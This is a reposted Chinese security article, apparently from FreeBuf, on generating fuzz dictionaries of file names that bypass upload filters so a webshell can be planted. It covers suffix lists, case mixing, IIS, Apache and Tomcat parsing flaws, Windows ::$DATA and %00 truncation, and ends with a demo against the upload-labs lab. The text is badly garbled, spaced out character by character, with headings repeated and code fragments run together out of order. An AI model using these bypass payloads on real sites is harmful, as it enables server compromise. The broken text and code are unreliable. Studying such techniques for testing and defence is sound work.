搜索

[13429] 2018-11-17_构造优质上传漏洞Fuzz字典

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2018-11-17_构造优质上传漏洞Fuzz字典 构 造 优 质 上 传 漏 洞 F u z z 字 典 g v · 残 亦   F r e e B u f   2 0 1 8 - 1 1 - 1 7 上 传 漏 洞 的 利 用 姿 势 很 多 ， 同 时 也 会 因 为 语 言 ， 中 间 件 ， 操 作 系 统 的 不 同 ， 利 用 也 不 同 。 比 如 有 ： 上 传 漏 洞 的 利 用 姿 势 很 多 ， 同 时 也 会 因 为 语 言 ， 中 间 件 ， 操 作 系 统 的 不 同 ， 利 用 也 不 同 。 比 如 有 ： 大 小 写 混 大 小 写 混 合 合 ， . h t a c c e s s ， 解 析 漏 洞 解 析 漏 洞 ， 0 0 截 断 截 断 ， . 绕 过 绕 过 ， 空 格 绕 过 空 格 绕 过 ， : : $ D A T A 绕 过 绕 过 ， 以 及 多 种 姿 势 的 组 合 等 等 。 当 遇 到 一 个 ， 以 及 多 种 姿 势 的 组 合 等 等 。 当 遇 到 一 个 上 传 点 ， 如 何 全 面 的 利 用 以 上 姿 势 测 试 一 遍 ， 并 快 速 发 现 可 以 成 功 上 传 上 传 点 ， 如 何 全 面 的 利 用 以 上 姿 势 测 试 一 遍 ， 并 快 速 发 现 可 以 成 功 上 传 w e b s h e l l 的 姿 势 ？ 的 姿 势 ？ 方 案 一 ： 一 个 一 个 手 工 测 试 方 案 一 ： 一 个 一 个 手 工 测 试 手 工 把 所 有 姿 势 测 试 一 遍 ， 先 不 说 花 费 大 量 时 间 ， 还 很 可 能 会 遗 漏 掉 某 些 姿 势 而 导 致 无 法 利 用 成 功 。 方 案 二 ： 方 案 二 ： f u z z 在 f u z z 时 我 们 往 往 会 给 一 个 输 入 点 喂 入 大 量 特 殊 的 数 据 。 这 个 特 殊 的 数 据 可 能 随 机 的 ， 毫 无 规 律 的 ， 甚 至 我 们 都 无 法 预 知 的 。 但 我 思 考 了 一 下 ， 这 样 的 f u z z 方 式 只 是 适 合 在 本 地 f u z z   0 d a y 漏 洞 ， 并 不 适 合 通 过 f u z z 在 线 网 站 的 上 传 点 ， 快 速 找 出 可 以 成 功 上 传 w e b s h e l l 的 p a y l o a d ， 因 为 时 间 成 本 排 在 哪 里 。 通 过 思 考 ， 我 们 可 以 知 道 如 果 能 根 据 上 传 漏 洞 的 场 景 （ 后 端 语 言 ， 中 间 件 ， 操 作 系 统 ） 来 生 成 优 质 的 f u z z 字 典 ， 然 后 使 用 该 字 典 进 行 f u z z ， 就 能 消 除 以 上 两 个 解 决 方 案 的 弊 端 ！ 一 、 构 想 一 、 构 想 在 动 手 之 前 我 们 来 思 考 下 上 传 漏 洞 跟 那 些 因 素 有 关 ： 1 . 可 解 析 的 后 缀 ， 也 就 是 该 语 言 有 多 个 可 解 析 的 后 缀 ， 比 如 可 解 析 的 后 缀 ， 也 就 是 该 语 言 有 多 个 可 解 析 的 后 缀 ， 比 如 p h p 语 言 可 解 析 的 后 缀 为 语 言 可 解 析 的 后 缀 为 p h p , p h p 2 , p h p 3 等 等 等 等 2 . 大 小 写 混 合 ， 如 果 系 统 过 滤 不 严 ， 可 能 大 小 写 可 以 绕 过 。 大 小 写 混 合 ， 如 果 系 统 过 滤 不 严 ， 可 能 大 小 写 可 以 绕 过 。 3 . 中 间 件 ， 每 款 中 间 件 基 本 都 解 析 漏 洞 中 间 件 ， 每 款 中 间 件 基 本 都 解 析 漏 洞 , 比 如 比 如 i i s 就 可 以 把 就 可 以 把 x x x . a s p ; . j p g 当 当 a s p 来 执 行 。 来 执 行 。 4 . 系 统 特 性 ， 特 别 是 系 统 特 性 ， 特 别 是 W i n d o w s 的 后 缀 加 点 （ 的 后 缀 加 点 （ . ） ） , 加 空 格 ， 加 加 空 格 ， 加 : : $ D A T A 可 以 绕 过 目 标 系 统 。 可 以 绕 过 目 标 系 统 。 5 . 语 言 漏 洞 ， 流 行 的 三 种 脚 本 语 言 基 本 都 存 在 语 言 漏 洞 ， 流 行 的 三 种 脚 本 语 言 基 本 都 存 在 0 0 截 断 漏 洞 。 截 断 漏 洞 。 6 . 双 后 缀 ， 这 个 与 系 统 和 中 间 件 无 关 ， 偶 尔 会 存 在 于 代 码 逻 辑 之 中 。 双 后 缀 ， 这 个 与 系 统 和 中 间 件 无 关 ， 偶 尔 会 存 在 于 代 码 逻 辑 之 中 。 整 理 以 上 思 考 ， 我 们 把 生 成 字 典 的 规 则 梳 理 为 以 下 几 条 ： 可 解 析 的 后 缀 + 大 小 写 混 合 可 解 析 的 后 缀 + 大 小 写 混 合 + 中 间 件 漏 洞 . h t a c c e s s   +   大 小 写 混 合 可 解 析 的 后 缀 + 大 小 写 混 合 + 系 统 特 性 可 解 析 的 后 缀 + 大 小 写 混 合 + 语 言 漏 洞 可 解 析 的 后 缀 + 大 小 写 混 合 + 双 后 缀 下 面 我 们 根 据 上 面 的 构 想 ， 来 分 析 每 一 方 面 的 细 节 ， 并 使 用 代 码 来 实 现 。
二 、 可 解 析 后 缀 二 、 可 解 析 后 缀 其 实 很 多 语 言 都 这 样 ， 有 多 个 可 以 解 析 后 缀 。 当 目 标 站 点 采 用 黑 名 单 时 ， 往 往 包 含 不 全 。 以 下 我 收 集 相 对 比 较 全 面 的 可 解 析 后 缀 ， 为 后 面 生 成 字 典 做 材 料 。 语 言 语 言 可 解 析 后 缀 可 解 析 后 缀 a s p / a s p x a s p , a s p x , a s a , a s a x , a s c x , a s h x , a s m x , c e r , a S p , a S p x , a S a , a S a x , a S c x , a S h x , a S m x , c E r p h p p h p , p h p 5 , p h p 4 , p h p 3 , p h p 2 , p H p , p H p 5 , p H p 4 , p H p 3 , p H p 2 , h t m l , h t m , p h t m l , p h t , H t m l , H t m , p H t m l j s p j s p , j s p a , j s p x , j s w , j s v , j s p f , j t m l , j S p , j S p x , j S p a , j S w , j S v , j S p f , j H t m l 三 、 大 小 写 混 合 三 、 大 小 写 混 合 有 些 网 站 过 滤 比 较 简 单 ， 只 是 过 滤 了 脚 本 后 缀 ， 但 是 没 有 对 后 缀 进 行 统 一 转 换 为 小 写 ， 在 进 行 判 断 。 这 就 纯 在 一 个 大 小 写 问 题 。 这 里 我 们 可 以 编 写 两 个 函 数 ， 一 个 函 数 是 传 入 一 个 字 符 串 ， 函 数 返 回 该 字 符 串 所 有 大 小 写 组 合 的 可 能 ， 第 二 个 函 数 是 基 于 第 一 个 函 数 ， 把 一 个 l i s t 的 传 入 返 回 一 个 l i s t 内 所 有 字 符 的 所 有 大 小 写 组 合 的 可 能 。 四 、 中 间 件 的 漏 洞 四 、 中 间 件 的 漏 洞 这 块 是 比 较 复 杂 的 一 块 。 首 先 我 们 先 来 梳 理 下 4 . 1   i i s i i s 一 共 有 三 个 解 析 漏 洞 ： 1 . I I S 6 . 0 文 件 解 析   x x . a s p ; . j p g 2 . I I S 6 . 0 目 录 解 析   x x . a s p / 1 . j p g 3 . I I S   7 . 0 畸 形 解 析   x x x . j p g / x . a s p 由 于 2 和 3 和 上 传 的 文 件 名 无 关 ， 故 我 们 只 根 据 1 来 生 成 f u z z 字 典 # #   字 符 串 大 小 写 混 合 ， 返 回 字 符 串 所 有 大 写 可 能 d e f   s t r _ c a s e _ m i x i n g ( w o r d ) :         s t r _ l i s t   =   [ ]         w o r d   =   w o r d . l o w e r ( )         t e m p W o r d   =   c o p y . d e e p c o p y ( w o r d )         p l i s t   =   [ ]         r e d i c t   =   { }         f o r   c h a r   i n   r a n g e (   l e n (   t e m p W o r d   )   ) :                 c h a r   =   w o r d [ c h a r ]                 p l i s t . a p p e n d ( c h a r )           n u m   =   l e n (   p l i s t   )         f o r   i   i n   r a n g e (   n u m   ) :                 f o r   j   i n   r a n g e (   i   ,   n u m   +   1   ) :                         s C o n t e n t   =   ' ' . j o i n (   p l i s t [ 0 : i ]   )                         m C o n t e n t   =   ' ' . j o i n (   p l i s t [ i : j ]   )                         m C o n t e n t   =   m C o n t e n t . u p p e r ( )                         e C o n t e n t   =   ' ' . j o i n (   p l i s t [ j : ]   )                         c o n t e n t   =   ' ' ' % s % s % s ' ' '   %   ( s C o n t e n t , m C o n t e n t , e C o n t e n t )                         r e d i c t [ c o n t e n t ]   =   N o n e         f o r   i   i n   r e d i c t . k e y s ( ) :                 s t r _ l i s t . a p p e n d ( i )         r e t u r n   s t r _ l i s t # #   l i s t 大 小 写 混 合 d e f   l i s t _ c a s e _ m i x i n g ( l i ) :         r e s   =   [ ]         f o r   l   i n   l i :                 r e s   + =   u p e r T e s t ( l )         r e t u r n   r e s d e f   i i s _ s u f f i x _ c r e a t e r ( s u f f i x ) :         r e s   =   [ ]         f o r   l   i n   s u f f i x :                 s t r   = ' % s ; . % s '   %   ( l , a l l o w _ s u f f i x )                 r e s . a p p e n d ( s t r )         r e t u r n   r e s
4 . 2   a p a c h e a p a c h e 相 关 的 解 析 漏 洞 有 两 个 ： 根 据 以 上 构 造 函 数 生 成 规 则 ： 4 . 3   n g i n x n g i n x 解 析 漏 洞 有 三 个 ： 访 问 连 接 加 / x x x . p h p   t e s t . j p g / x x x . p h p 畸 形 解 析 漏 洞   t e s t . j p g % 0 0 x x x . p h p C V E - 2 0 1 3 - 4 5 4 7   t e s t . j p g ( 非 编 码 空 格 ) 0 x . p h p n g i n x 的 解 析 漏 洞 ， 由 于 和 上 传 的 文 件 名 无 关 ， 故 生 成 字 典 无 需 考 虑 。 4 . 4   t o m c a t t o m c a t 用 于 上 传 绕 过 的 有 三 种 , 不 过 限 制 在 w i n d o w s 操 作 系 统 下 。 根 据 以 上 规 则 生 成 字 典 对 应 的 代 码 为 ： 如 果 确 定 中 间 件 为 a p a c h e , 可 以 加 入 . h t a c c e s s 。 同 时 如 果 操 作 系 统 还 为 w i n d o w s ， 我 们 可 以 大 小 写 混 合 。 4 . 5   语 言 ， 中 间 件 与 操 作 系 统 的 关 系 语 言 ， 中 间 件 与 操 作 系 统 的 关 系 以 上 我 们 根 据 每 个 中 间 件 的 漏 洞 ， 编 写 了 对 应 的 f u z z 字 典 生 成 函 数 。 在 最 终 生 成 字 典 时 ， 我 们 还 要 考 虑 中 间 件 可 以 运 行 那 些 语 言 ， 以 及 它 们 与 平 台 的 关 系 。 语 言 语 言 I I S A p a c h e T o m c a t W i n d o w L i n u x 1 . % 0 a ( C V E - 2 0 1 7 - 1 5 7 1 5 ) 2 . 未 知 后 缀   t e s t . p h p . x x x a p a c h e _ s u f f i x _ b u i l d e r d e f   a p a c h e _ s u f f i x _ c r e a t e r ( s u f f i x ) :         r e s   =   [ ]         f o r   l   i n   s u f f i x :                 s t r   =   ' % s . x x x '   %   l                 r e s . a p p e n d ( s t r )                 s t r   =   ' % s % s '   %   ( l , u r l l i b . u n q u o t e ( ' % 0 a ' ) )   # C V E - 2 0 1 7 - 1 5 7 1 5                 r e s . a p p e n d ( s t r )         r e t u r n   r e s x x x . j s p / x x x . j s p x x x . j s p : : $ D A T A w i n _ t o m c a t   =   [ ' % 2 0 ' , ' : : $ D A T A ' , ' / ' ] d e f   t o m c a t _ s u f f i x _ c r e a t e r ( s u f f i x ) :         r e s   =   [ ]         f o r   l   i n   s u f f i x :                 f o r   t   i n   w i n _ t o m c a t :                         s t r   =   ' % s % s '   %   ( l , t )                         r e s . a p p e n d ( s t r )         r e t u r n   r e s i f   ( m i d d l e w a r e   = =   ' a p a c h e '   o r   m i d d l e w a r e   = =   ' a l l ' )   a n d   ( o s   = =   ' w i n '   o r   o s   = =   ' a l l ' ) :         h t a c c e s s _ s u f f i x   =   u p e r T e s t ( " . h t a c c e s s " ) e l i f   ( m i d d l e w a r e   = =   ' a p a c h e '   o r   m i d d l e w a r e   = =   ' a l l ' )   a n d   o s   = =   ' l i n u x ' :         h t a c c e s s _ s u f f i x   =   [ ' . h t a c c e s s ' ] e l s e :         h t a c c e s s _ s u f f i x   =   [ ]
a s p / a s p x √ √ × √ √ p h p √ √ √ √ √ j s p √ × √ √ √ 语 言 语 言 I I S A p a c h e T o m c a t W i n d o w L i n u x 根 据 上 表 ， 我 们 明 白 ： i i s 下 可 以 运 行 a s p / a s p x , p h p , j s p 脚 本 ， 故 这 3 种 脚 本 语 言 可 解 析 后 缀 均 应 该 传 入 i i s _ s u f f i x _ b u i l d e r ( ) 进 行 处 理 ； a p a c h e 下 可 以 运 行 a s p / a s p x , p h p 。 故 这 2 两 种 脚 本 语 言 可 解 析 后 缀 均 应 该 传 入 a p a c h e _ s u f f i x _ b u i l d e r ( ) 进 行 处 理 ； t o m c a t 下 可 以 运 行 p h p ， j s p ， 故 这 两 个 脚 本 语 言 可 解 析 后 缀 均 应 该 传 入 t o m c a t _ s u f f i x _ b u i l d e r ( ) 进 行 处 理 。 注 意 ： 根 据 对 t o m c a t 上 传 的 绕 过 分 析 ， 发 现 之 后 在 w i n d o w s 平 台 下 才 能 成 功 。 故 之 后 在 W i n d o w s 平 台 下 才 会 调 用 对 可 解 析 后 缀 进 行 处 理 。 故 伪 代 码 可 以 编 写 如 下 ： 五 、 系 统 特 性 五 、 系 统 特 性 经 过 查 资 料 ， 目 前 发 现 在 系 统 层 面 ， 有 以 下 特 性 可 以 被 上 传 漏 洞 所 利 用 。 W i n d o w s 下 文 件 名 不 区 分 大 小 写 ， L i n u x 下 文 件 名 区 分 大 写 欧 西 ； W i n d o w s 下 A D S 流 特 性 ， 导 致 上 传 文 件 x x x . p h p : : $ D A T A   =   x x x . p h p ； W i n d o w s 下 文 件 名 结 尾 加 入 , , , · , , 等 字 符 ， 最 终 生 成 的 文 件 均 被 w i n d o w s 忽 略 。 六 、 语 言 的 漏 洞 六 、 语 言 的 漏 洞 t o m c a t _ s u f f i x _ b u i l d e r ( ) i f   m i d d l e w a r e   = =   ' i i s ' :         c a s e _ a s p _ p h p _ j s p _ p a r s e _ s u f f i x   =   c a s e _ a s p _ p a r s e _ s u f f i x   +   c a s e _ p h p _ p a r s e _ s u f f i x   +   c a s e _ j s p _ p a r s e _ s u f f i x         m i d d l e w a r e _ p a r s e _ s u f f i x   =   i i s _ s u f f i x _ c r e a t e r ( c a s e _ a s p _ p h p _ j s p _ p a r s e _ s u f f i x ) e l i f   m i d d l e w a r e   = =   ' a p a c h e ' :         c a s e _ a s p _ p h p _ h t m l _ p a r s e _ s u f f i x   =   c a s e _ a s p _ p a r s e _ s u f f i x   +   c a s e _ p h p _ p a r s e _ s u f f i x   +   c a s e _ h t m l _ p a r s e _ s u f f i x         m i d d l e w a r e _ p a r s e _ s u f f i x   =   a p a c h e _ s u f f i x _ c r e a t e r ( c a s e _ a s p _ p h p _ h t m l _ p a r s e _ s u f f i x ) e l i f   m i d d l e w a r e   = =   ' t o m c a t '   a n d   o s   = =   ' l i n u x ' :         m i d d l e w a r e _ p a r s e _ s u f f i x   =   c a s e _ p h p _ p a r s e _ s u f f i x   +   c a s e _ j s p _ p a r s e _ s u f f i x e l i f   m i d d l e w a r e   = =   ' t o m c a t '   a n d   ( o s   = =   ' w i n '   o r   o s   = =   ' a l l ' ) :         c a s e _ p h p _ j s p _ p a r s e _ s u f f i x   =   c a s e _ p h p _ p a r s e _ s u f f i x   +   c a s e _ j s p _ p a r s e _ s u f f i x         m i d d l e w a r e _ p a r s e _ s u f f i x   =   t o m c a t _ s u f f i x _ c r e a t e r ( c a s e _ p h p _ j s p _ p a r s e _ s u f f i x ) e l s e :         c a s e _ a s p _ p h p _ p a r s e _ s u f f i x   =   c a s e _ a s p _ p a r s e _ s u f f i x   +   c a s e _ p h p _ p a r s e _ s u f f i x         i i s _ p a r s e _ s u f f i x   =   i i s _ s u f f i x _ c r e a t e r ( c a s e _ a s p _ p h p _ p a r s e _ s u f f i x )         c a s e _ a s p _ p h p _ h t m l _ p a r s e _ s u f f i x   =   c a s e _ a s p _ p a r s e _ s u f f i x   +   c a s e _ p h p _ p a r s e _ s u f f i x   +   c a s e _ h t m l _ p a r s e _ s u f f i x         a p a c h e _ p a r s e _ s u f f i x   =   a p a c h e _ b u i l d ( c a s e _ a s p _ p h p _ h t m l _ p a r s e _ s u f f i x )         c a s e _ p h p _ j s p _ p a r s e _ s u f f i x   =   c a s e _ p h p _ p a r s e _ s u f f i x   +   c a s e _ j s p _ p a r s e _ s u f f i x         t o m c a t _ p a r s e _ s u f f i x   =   t o m c a t _ b u i l d ( c a s e _ p h p _ j s p _ p a r s e _ s u f f i x )                         m i d d l e w a r e _ p a r s e _ s u f f i x   =   i i s _ p a r s e _ s u f f i x   +   a p a c h e _ p a r s e _ s u f f i x   +   t o m c a t _ p a r s e _ s u f f i x . 空 格 < > > > > 0 x 8 1 - 0 x f f #   生 成 0 x 8 1 - 0 x f f 的 字 符 l i s t d e f   s t r _ 8 1 _ t o _ f f ( ) :         r e s   =   [ ]         f o r   i   i n   r a n g e ( 1 2 9 , 2 5 6 ) :                 s t r   =   ' % x '   %   i                 s t r   =   ' % '   +   s t r                 s t r   =   u r l l i b . u n q u o t e ( s t r )                 r e s . a p p e n d ( s t r )         r e t u r n   r e s w i n d o w s _ o s   =   [ '   ' , ' . ' , ' / ' , ' : : $ D A T A ' , ' < ' , ' > ' , ' > > > ' , ' % 2 0 ' , ' % 0 0 ' ]   +   s t r _ 8 1 _ t o _ f f ( ) d e f   w i n d o w s _ s u f f i x _ b u i l d e r ( s u f f i x ) :         r e s   =   [ ]         f o r   s   i n   s u f f i x :                 f o r   w   i n   w i n d o w s _ o s :                         s t r   =   ' % s % s '   %   ( s , w )                         r e s . a p p e n d ( s t r )         r e t u r n   r e s
语 言 漏 洞 被 利 用 于 上 传 的 有 % 0 0 截 断 和 0 x 0 0 截 断 。 它 们 在 a s p ， p h p 和 j s p 中 都 存 在 着 。 七 、 双 后 缀 七 、 双 后 缀 有 些 站 点 通 过 对 上 传 文 件 名 进 行 删 除 敏 感 字 符 （ p h p , a s p , j s p 等 等 ） 的 方 式 进 行 过 滤 , 例 如 你 上 传 一 个 a p h p . j p g 的 文 件 ， 那 么 上 传 之 后 就 变 成 了 a . j p g 。 这 时 就 可 以 利 用 双 后 缀 的 方 式 上 传 一 个 a . p p h p h p , 最 终 正 好 生 成 a . p h p 。 其 实 双 后 缀 与 中 间 件 和 操 作 系 统 无 关 ， 而 是 和 代 码 逻 辑 有 关 。 针 对 双 后 缀 ， 我 们 可 以 写 个 函 数 ， 传 入 后 缀 名 s u f f i x 即 可 生 成 所 有 的 双 后 缀 可 能 。 在 函 数 基 础 上 ， 可 以 编 写 来 为 一 个 l i s t 生 成 所 有 双 后 缀 可 能 。 八 、 整 合 代 码 八 、 整 合 代 码 上 面 我 们 针 对 和 上 传 漏 洞 相 关 的 每 个 方 面 进 行 了 细 致 的 分 析 ， 也 提 供 了 相 关 的 核 心 代 码 。 最 终 整 合 后 的 代 码 限 于 边 幅 ， 就 放 在 g i t h u b 上 了 。 g i t h u b ： ： h t t p s : / / g i t h u b . c o m / c 0 n y 1 / u p l o a d - f u z z - d i c - b u i l d e r 脚 本 可 以 之 定 义 生 成 的 上 传 文 件 名 （ - n ） ， 允 许 的 上 传 的 后 缀 （ - a ） ， 后 端 语 言 （ - l ） ， 中 间 件 ( - m ) , 操 作 系 统 （ — o s ） ， 是 否 加 入 双 后 缀 （ - d ） 以 及 输 出 的 字 典 文 件 名 （ - o ） 。 我 们 可 以 根 据 场 景 来 生 成 合 适 的 字 典 ， 提 供 的 信 息 越 详 细 ， 脚 本 生 成 的 字 典 越 精 确 。 九 、 案 例 九 、 案 例 u p l o a d - l a b s 靶 场 的 P a s s - 0 3 到 P a s s - 1 0 其 实 都 是 关 于 后 缀 的 ， 在 不 知 道 代 码 的 情 况 下 ， 我 们 如 何 快 速 发 现 可 以 绕 过 的 后 d e f   s t r _ 0 0 _ t r u n c a t i o n ( s u f f i x , a l l o w _ s u f f i x ) :         r e s   =   [ ]         f o r   i   i n   s u f f i x :                 s t r   =   ' % s % s . % s '   %   ( i , ' % 0 0 ' , a l l o w _ s u f f i x )                 r e s . a p p e n d ( s t r )                 s t r   =   ' % s % s . % s '   %   ( i , u r l l i b . u n q u o t e ( ' % 0 0 ' ) , a l l o w _ s u f f i x )                 r e s . a p p e n d ( s t r )         r e t u r n   r e s s t r _ d o u b l e _ s u f f i x _ c r e a t e r ( s u f f i x ) d e f   s t r _ d o u b l e _ s u f f i x _ c r e a t e r ( s u f f i x ) :         r e s   =   [ ]         f o r   i   i n   r a n g e ( 1 , l e n ( s u f f i x ) ) :                 s t r   =   l i s t ( s u f f i x )                 s t r . i n s e r t ( i , s u f f i x )                 r e s . a p p e n d ( " " . j o i n ( s t r ) )         r e t u r n   r e s l i s t _ d o u b l e _ s u f f i x _ c r e a t e r ( s u f f i x ) l i s t _ d o u b l e _ s u f f i x _ c r e a t e r ( l i s t _ s u f f i x ) d e f   l i s t _ d o u b l e _ s u f f i x _ c r e a t e r ( l i s t _ s u f f i x ) :         r e s   =   [ ]         f o r   l   i n   l i s t _ s u f f i x :                 r e s   + =   d o u b l e _ s u f f i x _ c r e a t e r ( l )         r e t u r n   d u p l i c a t e _ r e m o v a l ( r e s ) $   p y t h o n   u p l o a d - f u z z - d i c - b u i l d e r . p y   - h u s a g e :   u p l o a d - f u z z - d i c - b u i l d e r   [ - h ]   [ - n ]   [ - a ]   [ - l ]   [ - m ]   [ - - o s ]   [ - d ]   [ - o ] o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - n   ,   - - u p l o a d - f i l e n a m e                                                 U p l o a d   f i l e   n a m e     - a   ,   - - a l l o w - s u f f i x       A l l o w a b l e   u p l o a d   s u f f i x     - l   ,   - - l a n g u a g e               U p l o a d e d   s c r i p t   l a n g u a g e     - m   ,   - - m i d d l e w a r e           M i d d l e w a r e   u s e d   i n   W e b   S y s t e m     - - o s                                     T a r g e t   o p e r a t i n g   s y s t e m   t y p e     - d ,   - - d o u b l e - s u f f i x       I s   i t   p o s s i b l e   t o   g e n e r a t e   d o u b l e   s u f f i x ?     - o   ,   - - o u t p u t                   O u t p u t   f i l e
缀 呢 ？ 这 时 我 们 就 可 以 使 用 脚 本 生 成 f u z z 字 典 ， 来 进 行 f u z z 。 这 里 我 选 择 P a s s - 0 9 来 给 大 家 演 示 。 1 . 利 用 脚 本 生 成 利 用 脚 本 生 成 f u z z 字 典 字 典 由 于 知 道 我 们 的 后 端 语 言 为 , 中 间 件 为 ， 操 作 系 统 为 。 所 以 可 以 利 用 这 些 信 息 生 成 更 精 确 的 f u z z 字 典 。 2 . 抓 包 使 用 抓 包 使 用 b u r p 的 的 I n t r u d e r 模 块 对 上 传 名 称 进 行 模 块 对 上 传 名 称 进 行 f u z z 抓 取 u p l o a d - l a b s 的 P a s s - 0 9 的 上 传 包 ， 发 送 到 I n t r u d e r 模 块 ， 加 载 第 一 步 脚 本 生 成 的 f u z z 字 典 ， 对 上 传 的 包 的 文 件 名 进 行 f u z z 。 u p l o a d - f u z z - d i c - b u i l d e r . p y p h p a p a c h e W i n d o w s $   p y t h o n   u p l o a d - f u z z - d i c - b u i l d e r . p y   - l   p h p   - m   a p a c h e   - - o s   w i n [ + ]   收 集 1 7 条 可 解 析 后 缀 完 毕 ！ [ + ]   加 入 1 4 5 条 可 解 析 后 缀 大 小 写 混 合 完 毕 ！ [ + ]   加 入 1 5 2 条 中 间 件 漏 洞 完 毕 ！ [ + ]   加 入 3 7 条 . h t a c c e s s 完 毕 ！ [ + ]   加 入 1 0 3 3 6 条 系 统 特 性 完 毕 ！ [ + ]   去 重 后 共 1 0 7 5 3 条 数 据 写 入 u p l o a d _ f u z z _ d i c . t x t 文 件
经 过 测 试 ， 通 过 f u z z 可 以 快 速 找 到 可 以 突 破 u p l o a d - l a b s 那 些 基 于 后 缀 的 P a s s 的 p a y l o a d 。 甚 至 f u z z 出 同 一 个 P a s s 多 种 绕 过 的 方 法 。 * 本 文 作 者 ： g v · 残 亦 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理